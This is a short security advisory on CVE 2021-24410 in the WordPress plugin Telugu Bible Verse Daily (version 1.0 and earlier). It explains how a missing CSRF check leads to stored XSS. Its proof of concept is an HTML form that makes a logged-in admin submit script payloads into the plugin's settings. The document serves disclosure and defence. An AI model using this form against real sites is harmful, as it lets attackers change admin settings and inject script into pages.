Telugu Bible Verse Daily <= 1.0 – CSRF to Stored XSS | CVE 2021-24410

Description

The plugin is lacking any CSRF check when saving its settings and verses, and do not sanitise or escape them when outputting them back in the page. This could allow attackers to make a logged in admin change the settings, as well as add malicious verses containing JavaScript code in them, leading to Stored XSS issues

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=telugu-bible-verse-daily%2FTeluguBibleVersedisplay.php" method="POST">
      <input type="hidden" name="tvd_post_type" value="fav" />
      <input type="hidden" name="tvd_connection" value="fopen" />
      <input type="hidden" name="chapter" value="<script>alert(/XSS1/)</script>" />
      <input type="hidden" name="verse" value="<script>alert(/XSS2/)</script>" />
      <input type="hidden" name="verse_add" value="Add Verse Â»" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>